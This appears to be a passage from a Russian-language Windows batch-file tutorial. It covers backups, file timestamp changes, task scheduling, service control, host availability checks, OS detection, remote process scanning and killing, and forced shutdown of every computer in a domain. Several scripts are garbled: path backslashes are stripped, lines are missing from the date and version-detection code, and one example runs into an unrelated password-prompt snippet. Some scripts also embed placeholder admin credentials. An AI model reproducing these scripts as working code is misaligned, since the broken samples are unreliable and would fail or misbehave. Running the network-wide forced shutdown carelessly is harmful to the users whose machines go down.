Подобным же образом можно организовать проверку по дате, учитывая тот факт, что для данного способа сравнения необходимо использовать только числовые значения из переменных.
Пример создания архива каталога «Мои Документы».
Этот командный файл создает архивы содержимого папки «Мои Документы» пользователей Win2K/XP/7-10, размещая их в каталоги
C:ARHIVМои документыИмя пользователяДатавремя
Используются переменные окружения USERPROFILE, USERNAME, WINDIR. Если вы разобрались с предыдущим примером, то содержимое данного командного файла не должно вызывать особых затруднений, поскольку в нем присутствуют комментарии ( rem ), поясняющие в короткой форме смысл и назначение последующих строк:
@echo off
rem Задается переменная FROM — откуда брать данные для архивирования
set FROM=%USERPROFILE%Мои Документы
rem Задается переменная TO — куда помещать архивы
set TO=C:arhivМои документы%USERNAME%
rem Создадим каталог ТО
md «%TO%»
rem Сформируем имя подкаталога из текущей даты
set VDATE=%date:
-10%
rem Сформируем имя файла архива из текущего времени — 12:00:00.99
rem отбросим сотые доли секунды и заменим символ : на символ . Результат — 12.00.00
0,-3%
set vtime=%vtime::=.%
rem Создадим подкаталог для файла архива
md «%TO%%VDATE%»
rem Команда для архивирования. Ключ -r нужен для архивирования с вложенными папками
rem вариант для архиватора ARJ : arj.exe a -r «%TO%%VDATE%%VTIME%.arj» «%FROM%*.*»
rem При использовании архиватора RAR:
rar.exe a -r «%TO%%VDATE%%VTIME%.rar» «%FROM%*.*»
Если у вас возникнут проблемы связанные с неверной кодировкой символов русского алфавита в именах файлов и каталогов, попробуйте воспользоваться командой CHCP для смены кодовой страницы
chcp 866 — установить кодовую страницу 866 (DOS-кодировка)
chcp 1251 — установить кодовую страницу 1251 (Windows-кодировка)
Этот командный файл можно значительно сократить, убрав ненужные переменные VTIME и VDATE, которые в данном примере, используются лишь для того , чтобы скрипт имел более наглядный и простой для понимания вид. Кроме того, имеет смысл воспользоваться более современным бесплатным архиватором, например — 7-Zip.
В операционных системах Windows XP/Vista/7 формат даты по умолчанию не содержит название дня недели. Если есть необходимость получить это значение без изменения настроек системы и использования дополнительного программного обеспечения, можно воспользоваться сценарием Hindows Script Host (WSH).
— создаем файл сценария для получения названия дня недели, пусть с именем weekday.vbs, и содержащим строку вывода на экран результата выполнения функции WeekDayName
WScript.Echo WeekDayName(Weekday(Now), True)
— выполняем скрипт WSH с использованием консольной версии программы обработки сценариев cscript.exe и подавлением лишних сообщений (ключ //nologo)
cscript //nologo weekday.vbs
Пример командного файла для получения названия дня недели с использованием функции WeekDayName :
ECHO OFF
echo WScript.Echo WeekDayName(Weekday(Now), True) > weekday.vbs
for /f «Tokens=1*» %%i in (‘cscript /nologo weekday.vbs’) DO set DayName=%%i
echo %DayName%
REM Дальше можно использовать переменную DayName, а файл weekday.vbs — удалить
REM ERASE dayname.vbs
REM .
Существуют задачи администрирования, которые решаются значительно проще с использованием сценариев WSH или Power Shell, а не командных файлов CMD Windows.
Изменение даты и времени файлов или папок.
В Windows, к сожалению, не существует стандартного консольного средства для изменения даты и времени создания, доступа и модификации файлов и папок. Кто имел дело с Unix/Linux знает, что в этих операционных системах имеется простая и удобная утилита touch с помощью которой можно изменить время последнего доступа или время модификации файла на текущее значение или на значение времени, заданное в качестве аргумента командной строки. Если файл не существует, утилита создает пустой файл с указанным именем и устанавливает время создания , последнего изменения, и последнего доступа. Поэтому, нередко touch используют для создания пустых файлов.
Не секрет, что командные оболочки Unix/Linux значительно превосходит по своим возможностям командную строку Windows, поэтому, вполне понятно появление пакета UNIX Shell and Utilities для Windows NT и старше. Этот пакет представляет собой Windows-версии наиболее популярных утилит из среды Unix/Linux , которые могут выполняться как консольные команды в среде оболочки пользователя (в среде модуля sh.exe , входящего в пакет) или как исполняемые файлы в командной строке Windows. В набор входит более 200 программ от компании Mortice Kern Systems (MKS) , рекомендуемых Microsoft в качестве средства миграции с Unix на Windows.
Благодаря набору UNIX Shell and Utilities многие, не решаемые в среде командной строки Windows задачи, можно решить с помощью unix-подобных утилит. И в том, числе, задачу изменения даты и времени создания, модификации и доступа файла или папки с помощью утилиты touch.exe Скачать, около 50Кб
Справку по работе с touch.exe можно получить при запуске утилиты с принятым в Unix ключом «—help»
При этом пользователю выводится краткая подсказка
touch [-acm] [-r|-f файл] [-t [[CC]YY] MMDDhhmm.[SS]] file файл
-a — Устанавливает время последнего доступа ( access )к файлу. Время последнего изменения не устанавливается, если явно не задан ключ -m ( modify )
-c — Указывает утилите не создавать файл, если он не существует.
-m — Устанавливает время последнего изменения файла.
-r file — Использовать значения времени из файла, заданного аргументом file.
-t time — Устанавливает время последнего изменения (модификации) и доступа в соответствии с указанным форматом date_time.
Формат даты, указанный в ключе -t задается в соответствии с шаблоном [[СС]YY] MMDDhhmm[.SS]:
СС — первые две цифры года (век).
YY — последние две цифры года.
MM — двузначный номер месяца.
DD — двузначный номер дня.
hh — значение часов даты.
mm — значение минут даты.
SS — значение секунд даты.
Примеры использования утилиты touch.exe в командной строке Windows:
touch C:foldermyfile.txt — изменить время доступа и модификации файла C:foldermyfile.txt на текущее. Если файл не существует, он будет создан с нулевой длиной и текущим временем создания, модификации и доступа.
touch C:folder — изменить время доступа и модификации папки C:folder на текущее.
touch -f C:ntldr C:folder — изменить время доступа и модификации папки C:folder на время, установленное для файла C:ntldr
touch -t 199803080102.00 C:folder — установить для существующей папки «C:folder» значение даты и времени модификации — 1998г., 8 марта, 1 час : 2 минуты :00 секунд
touch -t 1112.30 C:folder — установить для существующей папки «C:folder» значение даты и времени модификации — текущая дата, 11 час : 12 минут :30 секунд
touch -a -t 2222.20 C:folder — изменить только время доступа, время модификации не изменяется.
Кроме утилиты touch для модификации времени файлов (но не папок) можно воспользоваться простой и удобной программой Юрия Усманова setdate . Скачать, архив zip размером около 16Кб).
Примеры использования:
setdate.exe -c C:1.txt 22.11.2016 — установить для файла C:1.txt дату создания 22.11.2016
setdate.exe -m C:1.txt 22.11.2016 — установить для файла C:1.txt дату изменения (модификации) 22.11.2016
setdate.exe -a C:1.txt 22.11.2016 — установить для файла C:1.txt дату доступа 22.11.2016
setdate.exe -d C:1.txt 22.11.2018 — установить для файла C:1.txt все даты 22.11.2018
В версиях Windows 10, вышедших после 2018 года существует возможность использования стандартной подсистемы Windows для Linux (Windows Subsystem for Linux, WSL). Пользователь может установить в среде Windows один из дистрибутивов Linux без каких-либо дополнительных средств виртуализации и пользоваться обеими операционными системами одновременно. С каждым новым выпуском Windows 10 подсистема WSL становится все более функциональной и удобной. Подробнее — Установка и примеры использования подсистемы WSL в Windows 10
Выполнение команд по расписанию.
В операционных системах WINDOWS XP и старше существует утилита командной строки AT.EXE , позволяющая управлять задачами для планировщика заданий Windows, и таким образом, выполнить команду или пакетный файл в указанное время на локальном или удаленном компьютере.
В операционных системах Windows 7 и старше, утилита at.exe присутствует, но признана устаревшей и нерекомендуемой к использованию в будущем. Вместо нее рекомендуется использовать schtasks.exe , которая обладает большими возможностями, но сложнее в использовании. Примеры использования современной утилиты имеются в разделе со списком команд, а на данной странице, все же воспользуемся простой классической AT . Команда AT предназначена для запуска команд и программ в указанное время по определенным дням. Для использования команды AT необходимо, чтобы была запущена служба планировщика заданий (в современных ОС Windows, по умолчанию эта служба запущена всегда). .
Примеры команды
AT [\имя_компьютера] [ [код] [/DELETE] | /DELETE [/YES]]
AT [\имя_компьютера] время [/INTERACTIVE] [ /EVERY:день[. ] | /NEXT:день[. ]] «команда»
\имя_компьютера — имя удаленного компьютера. Если этот параметр опущен, задача относится к локальному компьютеру.
код — порядковый номер запланированной задачи. Указывается если нужно отменить уже запланированную задачу с помощью ключа /delete .
/delete — отменить запланированную задачу. Если код задачи опущен, отменяются все задачи, запланированные для указанного компьютера.
/yes — не будет запроса на подтверждение при отмене всех запланированных задач.
время — Время запуска команды.
/interactive — интерактивный режим, разрешение взаимодействия задачи с пользователем. Задачи, запущенные без этого ключа невидимы для пользователя компьютера.
/every:день[. ] Запуск задачи осуществляется по указанным дням недели или месяца. Если дата опущена, используется текущий день
месяца.
/next:день[. ] Задача будет запущена в следующий указанный день недели (например в следующий четверг). Если дата опущена, используется текущий день месяца.
«команда» — Команда или имя командного файла.
Для доступа к удаленному компьютеру и создания заданий, пользователь, выполняющий команду AT должен обладать соответствующими правами по отношению к удаленной системе.
Создаваемые командой AT задачи доступны для обработки в среде пользователя с помощью оснастки «Назначенные задания» Windows.
Пуск — Панель управления — Назначенные задания — здесь можно просматривать, изменять и удалять созданные командой AT задачи. В Windows Vista / 7-8 используется меню — Панель управления — Администрирование — Планировщик заданий.
Остановка и запуск системных служб.
Для остановки и запуска служб из командной строки, в любой версии Windows, можно воспользоваться командой NET.EXE
В качестве параметра команды можно использование как короткое, так и полное имя службы («Dnscache» — короткое, «DNS-клиент» — полное имя службы). Имя службы, содержащее пробелы заключается в двойные кавычки. Пример перезапуска службы «DNS-клиент»
net stop «DNS-клиент»
net start «DNS-клиент»
То же, с использованием короткого имени:
net stop Dnscache
net start Dnscache
Полное имя службы можно скопировать из «Панель управления» — «Администрирование» — «Службы» — Имя службы — «Свойства» — «Выводимое имя».
То же самое, но в режиме командной строки: «Пуск» — «Выполнить» — services.msc .
Для управления службами гораздо удобнее воспользоваться утилитой PsService.exe из утилит PsTools от Microsoft Sysinternals. Утилита не требует установки и работает в любой OS Windows. Кроме запуска и остановки, позволяет выполнить поиск конкретной службы на компьютерах локальной сети, опросить состояние и конфигурацию службы, изменить тип запуска, приостановить службу, продолжить, перезапустить.
Для работы с системными службами в Windows XP и старше, можно использовать утилиту sc.exe , позволяющую не только остановить/запустить службу, но и опросить ее состояние, параметры запуска и функционирования, изменить конфигурацию, а также работать не только с системными службами, но и с драйверами. При наличии соответствующих прав, можно управлять службами не только на локальной, но и на удаленной машине. Примеры:
sc.exe stop DNSCache — остановить службу DNSCache на локальном компьютере.
sc \192.168.0.1 query DNSCache — опросить состояние службы DNSCache на компьютере c IP-адресом 192.168.0.1
sc \COMP start DNSCache запустить службу DNSCache на компьютере COMP
Подсказку по работе с утилитой можно получить, введя:
sc /?
Подробное описание команды SC с примерами имеется в разделе со списком команд Windows.
Выдача значения переменной ERRORLEVEL .
Этот простенький командный файл выдаст на экран значение переменной ERRORLEVEL по конкретной командной строке. Вначале выполняется проверка на наличие хотя бы одного входного параметра, и если ничего не задано, выдается сообщение об ошибке и происходит завершение по команде exit. Если же хотя бы один параметр задан, то входные параметры считаются командной строкой и выполняются, а значение ERRORLEVEL выдается с помощью команды ECHO. Содержимое файла (я назвал его echoEL.bat):
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать командную строку для определения ERRORLEVEL
exit
:PARMOK
%1 %2 %3 %4 %5 %6 %7 %8
ECHO %1 %2 %3 %4 %5 %6 %7 %8 ERRORLEVEL = %ERRORLEVEL%
echoEL.bat NET SHARE — будет выполнена команда NET SHARE (отобразить список разделяемых сетевых ресурсов) и выдан код ERRORLEVEL
echoEL.bat NET SHARE X» pset»:
set /p pset=»Enter password — »
echo Password is — %pset%
Недостатком данного способа является невозможность продолжения выполнения командного файла при отсутствии ответа пользователя, поэтому очень часто, вместо команды set используются другие средства, в том числе и сторонние программы. В составе операционных систем семейства Microsoft Windows имеется утилита командной строки CHOICE позволяющая довольно просто реализовать диалог с пользователем и проанализировать введенные им данные, однако в разных версия ОС утилита может присутствовать в стандартной поставке ( Windows 7 ) или входить в наборы дополнительных программных инструментов ( Resource Kit Windows XP ) Простейшая версия — CHOICE.COM Скачать (1.7кб), работающая во всех ОС семейства Windows.
CHOICE выдает пользователю текстовое сообщение и ожидает выбора одного из заданных вариантов ответа (нажатия клавиш на клавиатуре). По результатам выбора формируется переменная ERRORLEVEL, значение которой равно порядковому номеру выбора. По умолчанию вариантов выбора два — Y или N. Если ответ равен Y — то ERRORLEVEL=1, если N — то ERRORLEVEL=2. Можно использовать более 2-х вариантов выбора и есть возможность задать выбор по умолчанию, когда пользователь за определенное время не нажал ни одной клавиши. Формат командной строки:
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices — определяет допустимые варианты выбора. Если не задано — YN
/N — не выдавать варианты выбора.
/S — строчные и заглавные буквы отличаются.
/T[:]c,nn — Выбор по умолчанию равен «c» через «nn» секунд
text — Строка текста выводимая в качестве запроса
Создадим командный файл, демонстрирующий использование CHOICE. Он будет реагировать на нажатие клавиш «1»,»2″,3″ и «0» . При нажатии «0» выполняется завершение, а при нажатии остальных — сообщение пользователю. Если в течении 10 секунд ничего не нажато — завершение.
@ECHO OFF
:CHOICE
CHOICE /C:1230 /T:0,10 Ваш вариант
IF %ERRORLEVEL% EQU 4 GOTO EXIT
echo Ваш выбор = %ERRORLEVEL%
GOTO CHOICE
:EXIT
Теперь, используя CHOICE вы можете создавать командные файлы, логика работы которых может определяться пользователем.
Задержки в командных файлах
Когда-то, еще в DOS, для организации ожидания в командном файле использовалась команда SLEEP, но затем она почему-то перекочевала из стандартного установочного набора Windows в дополнительный Resource Kit. Можно просто скопировать его оттуда в каталог system32 и использовать в ваших командных файлах.
: SLEEP N — где N — количество секунд для задержки.
Если же Resource Kit нет под рукой, можно воспользоваться ранее рассмотренной командой CHOISE без вывода текста и с автоматическим формированием ответа через nn секунд (1-99):
choice.com /T:y,10 /N — задержка на 10 секунд
Более универсальный и простой способ основан на использовании утилиты ping.exe для интерфейса замыкания на себя localhost (локальная петля, петлевой интерфейс). Опрос данного интерфейса командой ping ( ping на имя хоста localhost или IP- адрес 127.0.0.1) выполняется без реальной передачи данных, т.е. практически мгновенно, а интервал между посылкой icmp-пакетов составляет 1 секунду. Указывая количество «пингов» с помощью ключа «-n» можно получить задержку на n секунд:
ping 127.0.0.1 -n 30 > nul — даст задержку на 30 секунд
Перенаправление вывода команды ping на фиктивное устройство nul ( > nul ) позволяет убрать сообщения утилиты ping.exe с экрана.
В составе команд CMD Windows 7-10 имеется команда TIMEOUT для организации режима ожидания заданного интервала времени, либо до нажатия любой клавиши на клавиатуре. Описание команды – в разделе «Список команд CMD Windows»
Определение доступности IP-адреса
Для проверки доступности сетевого узла чаще всего используется упоминаемая выше стандартная утилита ping.exe . Утилита выполняет отправку ICMP-пакета на проверяемый узел (эхо-запрос) и ожидает ответный пакет (эхо-ответ). К сожалению, результат проверки доступности узла не в полной мере коррелируется со значением переменной ERRORLEVEL и может быть получен только из данных стандартного вывода ping. В разных версия ОС Windows, утилита ping.exe может устанавливать нулевое значение ERRORLEVEL даже при недоступности узла, но при наличии в командной строке верных параметров командной строки. Иными словами, в некоторых случаях, требуемый сценарием результат выполнения определенной команды трудно, или вообще нельзя определить по значению переменной ERRORLEVEL, и приходится анализировать более достоверные признаки успешного или неуспешного выполнения команды, например, наличие определенного текста в ее выводимых сообщениях.
Если внимательно посмотреть на сообщения программы ping.exe при опросе доступного и недоступного узла, то можно заметить, что они значительно отличаются :
ping 456.0.0.1 — ping на несуществующий адрес
Ответ на такую команду может отличаться от конкретной версии утилиты, и может быть приблизительно таким
При проверке связи не удалось обнаружить узел 456.0.0.1. Проверьте имя узла и повторите попытку.
ping yandex.ru — ping на адрес узла yandex.ru
Ответ на ping доступного узла:
Обмен пакетами с yandex.ru [87.250.250.11] по 32 байт:
Ответ от 87.250.250.11: число байт=32 время=10мс TTL=55
Таким образом, для решения задачи определения доступности узла в командном файле, достаточно проанализировать характерные слова в выводе ping.exe при успешном ответе. Наиболее характерно в данном случае наличие слова TTL . Оно никогда не встречается при возникновении ошибки и состоит всего лишь из символов английского алфавита. Для поиска «TTL» в результатах ping.exe удобнее всего объединить ее выполнение в цепочку с командой поиска строки символов FIND.EXE (конвейер ping и find). Справку по использованию можно получить командой
Поиск текстовой строки в одном или нескольких файлах.
FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] «строка» [[диск:][путь]имя_файла[ . ]]
/V Вывод всех строк, НЕ содержащих заданную строку.
/C Вывод только общего числа строк, содержащих заданную строку.
/N Вывод номеров отображаемых строк.
/OFF[LINE] Не пропускать файлы с установленным атрибутом «Автономный».
/I Поиск без учета регистра символов.
«строка» — Искомая строка, обязательно в двойных кавычках.
[диск:][путь]имя_файла — Один или несколько файлов, в которых выполняется поиск.
Если путь не задан, поиск выполняется в тексте, введенном с клавиатуры
либо переданном по конвейеру другой командой.
Как видно из справки, find.exe можно использовать для поиска нужной строки символов в тексте, переданном по конвейеру командой ping.exe. Если текст найден, значение переменной ERRORLEVEL будет равно 0
ping -n 1 COMPUTER | find /I «TTL» > nul
if %ERRORLEVEL%==0 goto LIVE
ECHO computer не доступен
подпрограмма обработки недоступного состояния
.
Exit
:LIVE — начало подпрограммы обработки состояния доступности узла
.
.
В конвейер добавлена команда перенаправления стандартного вывода на фиктивное устройство nul , т.е. подавление вывода. Ключ -n 1 задает однократный опрос узла COMPUTER для ping.exe.
Определение текущей версии Windows.
Так же, как и в предыдущем примере, для определения версии операционной системы в процессе выполнения командного файла, можно воспользоваться поиском определенных фрагментов текста в результатах выполнения команд, отображающих сведения о системе. Например, во всех операционных системах семейства Windows ( и даже в DOS ) существует специальная команда VER , предназначенная для отображения сведений о версии ОС. В результате выполнения команды, например, в среде Windows XP, отображается текст:
Microsoft Windows XP [Версия 5.1.2600]
В среде Windows 7, текст отличается:
Microsoft Windows [Version 6.1.7600]
В среде Windows 10:
Microsoft Windows [Version 10.0.14393]
Таким образом, результат выполнения команды VER в среде разных версий Windows, всегда содержит определенный текст, характерный только для данной ОС, и задача определения версии решается довольно просто:
if %errorlevel% == 0 set curr_OS=Windows 2000
if %errorlevel% == 0 set curr_OS=Windows XP
ver | find /i «5.2.3»
if %errorlevel% == 0 set curr_OS=Windows Server 2003
if %errorlevel% == 0 set curr_OS=Windows Vista
ver | find /i «6.1»>nul
if %errorlevel% == 0 set curr_OS=Windows 7
if «%curr_OS%»==»» set curr_OS=Unknown
echo Текущая версия ОС — %curr_OS%
Можно также воспользоваться более информативным выводом команды NET CONFIG WORKSTATION . При выполнении в среде Windows XP вывод команды представляет собой следующий текст:
Имя компьютера \COMP1
Полное имя компьютера COMP1.Mydomain
Имя пользователя USER2
Активная рабочая станция на
Версия программы Windows 2002
Домен рабочей станции Mydomain
DNS-имя домена рабочей станции Mydomain
Домен входа Mydomain
Интервал ожидания открытия COM-порта (с) 0
Отсчет передачи COM-порта (байт) 16
Таймаут передачи COM-порта (мс) 250
Команда выполнена успешно.
Для среды Windows 7 результат выполнения команды выглядит так:
Имя компьютера \COMP1
Полное имя компьютера COMP1.Mydomain
Имя пользователя user2
Активная рабочая станция на
Версия программы Windows 7 Professional
Домен рабочей станции Mydomain
Домен входа Mydomain
Интервал ожидания открытия COM-порта (с) 0
Отсчет передачи COM-порта (байт) 16
Таймаут передачи COM-порта (мс) 250
Команда выполнена успешно.
Как видим, строка Версия программы . . . тоже может быть использована для определения версии Windows, в среде которой выполняется командный файл. Кроме того, в результатах выполнения команды NET CONFIG WORKSTATION для серверных версий Windows всегда присутствует слово Server .
net config workstation | find /i «Windows 2000»
if %errorlevel% == 0 set curr_OS=Windows 2000
REM net config workstation | find /i «Windows 2002»
if %errorlevel% == 0 set curr_OS=Windows XP
net config workstation | find /i «Server 2003»
if %errorlevel% == 0 set curr_OS=Windows Server 2003
net config workstation|find /i «Windows Vista»
if %errorlevel% == 0 set curr_OS=Windows Vista
net config workstation | find /i «Windows 7» > nul
if %errorlevel% == 0 set curr_OS=Windows 7
REM Плюс поиск по «Professional»
net config workstation | find /i «Версия программы» | find «Professional»
if errorlevel 0 if not errorlevel 1 set curr_OS=Windows 7 PRO
REM Если версия неизвестна:
if «%curr_OS%»==»» set curr_OS=Unknown
Кроме рассмотренных способов можно применить еще множество, в том числе, используя утилиту редактирования реестра в командной строке reg.exe . Например:
reg query «HKLMSoftwareMicrosoftWindows NTCurrentVersion» /V ProductName
При выполнении команды на экран выводится содержимое параметра реестра с названием Windows. Пример отображаемой информации при выполнении команды в среде Windows 10 Pro:
ProductName REG_SZ Windows 10 Pro
Результат для случая Windows XP Professional:
ProductName REG_SZ Microsoft Windows XP
Имя параметра ProductName и тип данных REG_SZ можно не отображать, выделив только подстроку с названием системы с помощью FOR:
For /F «Tokens=2* Delims= » %%A In (‘Reg Query «HKLMSOFTWAREMicrosoftWindows NTCurrentVersion» /V ProductName^|Find «REG_SZ»‘) Do Set OS1=%%B
При выполнении данного командного файла будет отображаться только название ОС Windows.
Поиск компьютеров с запущенным приложением
В операционных системах Windows XP и старше имеется стандартная утилита для получения списка процессов, выполняющихся в системе tasklist.exe . Она обладает очень неплохими возможностями и может использоваться для поиска выполняющихся приложений как на локальном, так и удаленном компьютере. Также, можно воспользоваться вспомогательной утилитой PSList.exe из пакета PSTools от Microsoft Sysinternals. Обе утилиты можно использовать для поиска приложений, выполняющихся на локальном или удаленном компьютере, но PSlist имеет более простой функционал, менее известна среди компьютерных специалистов и выбрана в качестве средства решения поставленной задачи. Для того, чтобы использовать стандартную утилиту tasklist.exe , потребуются совсем незначительные переделки, связанные с различием в синтаксисе команд.
Задача заключается в том, что нужно создать командный файл, который бы обнаруживал в локальной сети компьютеры с выполняющейся программой, имя которой (начальная часть имени), задается в качестве параметра при запуске, например, game . При обнаружении, например, требуется передать сообщение пользователю компьютера ADMINCOMP и обнаруженное приложение принудительно завершить.
Для поиска будем использовать утилиту Pslist.exe и анализировать ее код возврата. Значение переменной ERRORLEVEL равное нулю означает, что утилита обнаружила на удаленном компьютере процесс, удовлетворяющий условиям поиска. Имя процесса для поиска будем задавать в качестве параметра при запуске командного файла. Присвоим нашему командному файлу имя psl.bat . Запуск с параметром будет выглядеть следующим образом:
psl.bat game
В случае, когда в командном файле используется параметр, не помешает проверить, задан ли он в командной строке при запуске, и, если не задан, завершить выполнение, отобразив предупреждающее сообщение пользователю. Если же параметр задан, выполнение файла будет продолжено, например, к метке «PARMOK»:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
На следующем шаге нужно обеспечить последовательное формирование IP-адресов компьютеров для командной строки утилиты PSlist . В качестве простого примера, можно воспользоваться присвоением временной переменной значения постоянной составляющей адреса для локальной сети (например — 192.168.0.) и вычисляемого значения младшей части (например, в диапазоне 1-254).
Например, нам необходимо просканировать компьютеры в диапазоне адресов:
192.168.0.1 — 192.168.0.30:
set IPTMP=192.168.0. — старшая часть адреса
set /A IPLAST=1 — младшая часть. Ключ /A означает вычисляемое числовое выражение
set IPFULL = %IPTMP%%IPLAST% — значение полного IP-адреса.
Командная строка для PSlist будет выглядеть cледующим образом:
pslist \%IPFULL% %1
Теперь осталось только циклически запускать PSlist, прибавляя в каждом цикле единицу к младшей части адреса, пока ее значение не достигнет 30 и анализировать значение ERRORLEVEL после выполнения. Для анализа результата будем выполнять переход командой:
GOTO REZULT%ERRORLEVEL%
обеспечивающей переход на метку REZULT0 при обнаружении процесса и на REZULT1 — при его отсутствии.
Окончательное содержимое командного файла:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
set IPTMP=192.168.0.
rem Зададим начальное значение » хвоста » IP- адреса
set /A IPLAST=1
rem M0 — метка для организации цикла
:M0
rem Переменная IPFULL — полное значение текущего IP-адреса
set IPFULL = %IPTMP%%IPLAST%
rem Если » хвост «больше 30 — на выход
IF %IPLAST% GTR 30 GOTO ENDJOB
pslist \%IPFULL% %1
GOTO REZULT%ERRORLEVEL%
:REZULT0
rem Если найдено приложение- отправим сообщение на ADMINCOMP
net send ADMINCOMP Запущено %1 — %IPFULL%
rem И завершим приложение с помощью PSkill
pskill \%IPFULL% %1
:REZULT1
rem Сформируем следующий IP-адрес
set /A IPLAST=%IPLAST% + 1
rem Перейдем на выполнение следующего шага
GOTO M0
rem Завершение работы
:endjob
exit
В заключение добавлю, что для того, чтобы этот скрипт работал, PSlist.exe и PSkill.exe должны быть доступны в путях поиска исполняемых файлов, например в каталоге WINDOWSSYSTEM32. Пользователь, запускающий его, должен обладать правами администратора по отношению к сканируемым компьютерам. И, если текущий пользователь таковым не является, то в параметры запуска утилит PSlist.exe и PSkill.exe нужно добавить ключи, задающие имя пользователя и пароль. В качестве альтернативы утилите PSKill.exe можно воспользоваться стандартной Taskkill.exe . Использование стандартных утилит tasklist.exe и taskkill.exe ограничено тем фактором, что их параметры командной строки не допускают возможности задания имени пользователя и пароля для доступа к удаленному компьютеру.
Поиск компьютеров с запущенным приложением по списку
В предыдущем примере использовался прямой перебор IP-адресов компьютеров в локальной сети, что не всегда эффективно, поскольку в процедуру опроса могут быть вовлечены и выключенные компьютеры. Решим задачу другим способом — создадим текстовый файл со списком компьютеров и опросим их по этому списку.
Список можно получить из сетевого окружения с использованием команды:
net.exe view > comps.txt
После выполнения такой команды файл comps.txt будет содержать список следующего вида:
Имя сервера       Заметки
     
——-
\AB1
\AB2
\ALEX
\BUHCOMP
\PC2
\SA
\SERVER
Команда выполнена успешно.
Обрабатывать содержимое этого текстового файла будем с помощью команды FOR с ключом /F:
FOR /F [«ключи»] %переменная IN (имя файла) DO команда [параметры]
Данная команда позволяет получить доступ к строкам в текстовом файле с использованием ключей:
skip=n — пропустить n строк от начала файла (в нашем примере — 4 строки)
eol=    — не использовать строки, начинающиеся с заданного символа. (в нашем случае — пропустить последнюю строку, начинающуюся с кириллического символа «К» — «Команда выполнена успешно»
tokens=n — брать для обработки n-е слово в строке (в нашем случае — 1-е слово)
Окончательный вид команды:
FOR /F «eol=К skip=4 tokens=1 » %%I IN (comps.txt) DO (
pslist.exe -u admin -p pass %%I %1
IF NOT ERRORLEVEL 1 net.exe send ADMINCOMP %%i %1
)
Обратите внимание — в пакетных файлах для переменных команды FOR используется два знака процента (запись %%переменная вместо %переменная ) и имена переменных учитывают регистр букв ( %i отличается от %I ).
Работать это будет следующим образом — пропускаются первые 4 строки текстового файла со списком компьютеров, и далее в цикле переменной I присваивается значение первого слова (текст от начала строки до разделителя — пробела), выполняется утилита PSlist.exe, для которой в качестве имени компьютера используется значение этой переменной. Если ERRORLEVEL менее 1 — задача с искомым именем присутствует в списке процессов и выполняется отправка сообщения с помощью NET SEND.
Окончательное содержимое командного файла:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
REM
REM Создадим текстовый файл comps.txt со списком компьютеров с помощью NET.EXE VIEW
net view /DOMAIN:MyDomain > comps.txt
REM
REM FOR /F «параметры» — использование данных из файла
REM eol=К — не использовать строки, начинающиеся с «К» — «Команда выполнена успешно»
REM skip=4 — пропустить первые 4 строки в файле
REM tokens=1 — брать для обработки 1-е слово в строке
REM
FOR /F «eol=К skip=4 tokens=1 » %%i in (comps.txt) do (
pslist.exe -u admin -p pass %%i %1
IF NOT ERRORLEVEL 1 net.exe send %COMPUTERNAME% Компьютер — %%i процесс — %1
)
Выключение компьютеров по списку, созданному на основе сетевого окружения.
Предыдущий пример наводит на мысль, что можно было бы, например, создать пакетный файл для быстрого выключения всех компьютеров в локальной сети. Выключение производится утилитой стандартной утилитой Shutdown.exe (описание в разделе со списком команд CMD Windows – команда Shutdown ). Как и в предыдущем примере, сначала создается файл со списком компьютеров на основе сетевого окружения, а затем выполняется их поочередное выключение, при условии, что выключаемым компьютером не является ”свой”, на котором выполняется данный командный файл. Содержимое файла:
rem @echo off
REM Здесь нужно задать
REM имя домена или рабочей группы для которых строится список машин для выключения
set MyDomain=имя домена
REM
REM Создадим текстовый файл comps.txt со списком компьютеров с помощью NET VIEW
net view /DOMAIN:%MyDomain% > comps.txt
REM
REM FOR /F «параметры» — использование данных из файла
REM eol=К — не использовать строки, начинающиеся с «К» — «Команда выполнена успешно»
REM skip=4 — пропустить первые 4 строки в файле
REM tokens=1 — брать для обработки 1-е слово в строке
FOR /F «eol=К skip=4 tokens=1 » %%i in (comps.txt) do (
REM Свой компьютер выключать не будем
REM Если имя компьютера не равно COMPUTERNAME — выключаем
IF /I %%i NEQ %COMPUTERNAME% shutdown -f -s -t 0 -m %%i
)
Командный файл должен выполняться в контексте учетной записи пользователя с правами администратора по отношению к выключаемым компьютерам. Имя домена или рабочей группы задается в строке:
set MyDomain=
В реальной жизни из списка выключаемых компьютеров нужно исключить несколько штук, для чего удобно использовать команду FIND в цепочке с net.exe в скрипте формирования списка на основе сетевого окружения. Данная команда используется для поиска строк в текстовом файле по шаблону. Ключ /V используется для поиска строк не совпадающих с шаблоном. Для выключения компьютеров, исключая server1. server4 удобно использовать такой вариант:
net view | find «\» | find /v «сервер1» | find /v «сервер2» | find /v «сервер3» | find /v «сервер4» > comps.txt
FOR /F «tokens=1 » %%i in (comps.txt) do shutdown.exe -f -s -m %%i
Поиск в локальной сети включенных компьютеров.
В данном примере речь идет о создании командного файла, позволяющего «собрать» список IP-адресов узлов локальной сети, включенных на данный момент времени. Ничего принципиально нового в плане создания командных файлов здесь нет, но тем не менее, задача поиска включенных узлов в локальной сети встречается довольно часто, и решить ее описанными выше способами, с использованием ping.exe и net view удается далеко не всегда, поскольку в современных версиях операционных систем семейства Windows настройки брандмауэров по умолчанию, задают довольно жесткие правила, блокирующие сетевые соединения извне, и ответы на эхо-запрос. Другими словами, включенный в локальную сеть компьютер ( или другое сетевое устройство ) может не отображаться в сетевом окружении Windows и не отвечать на эхо-запросы ( «пинги» ).
Прием, используемый для получения списка включенных сетевых устройств при решении данной задачи остается прежним – необходимо определить характерные отличия в выходных сообщениях стандартных сетевых утилит в случае, когда устройство выключено, и когда – защищено параноидальными настройками брандмауэра. Для этого можно воспользоваться стандартной командой arp позволяющей просматривать содержимое таблиц разрешения IP-адресов в физические ( MAC ) адреса.
